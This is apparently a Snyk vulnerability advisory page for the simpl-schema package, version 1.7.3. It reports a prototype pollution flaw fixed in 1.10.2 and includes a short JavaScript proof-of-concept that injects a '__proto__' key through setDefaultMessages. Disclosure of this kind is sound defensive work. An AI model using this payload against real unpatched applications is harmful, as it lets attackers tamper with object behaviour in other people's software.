simpl-schema@1.7.3 vulnerabilities

A schema validation package that supports direct validation of MongoDB update modifier objects.

Direct Vulnerabilities

Known vulnerabilities in the simpl-schema package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

simpl-schema is a schema validation package that supports direct validation of MongoDB update modifier objects.

Affected versions of this package are vulnerable to Prototype Pollution.

PoC

const SimpleSchema = require("simpl-schema").default;
let obj = {};
console.log("Before : " + obj.polluted);
SimpleSchema.setDefaultMessages(JSON.parse('{"__proto__":{"polluted":"yes"}}'));
console.log("After : " + obj.polluted);

How to fix Prototype Pollution?

Upgrade simpl-schema to version 1.10.2 or higher.

<1.10.2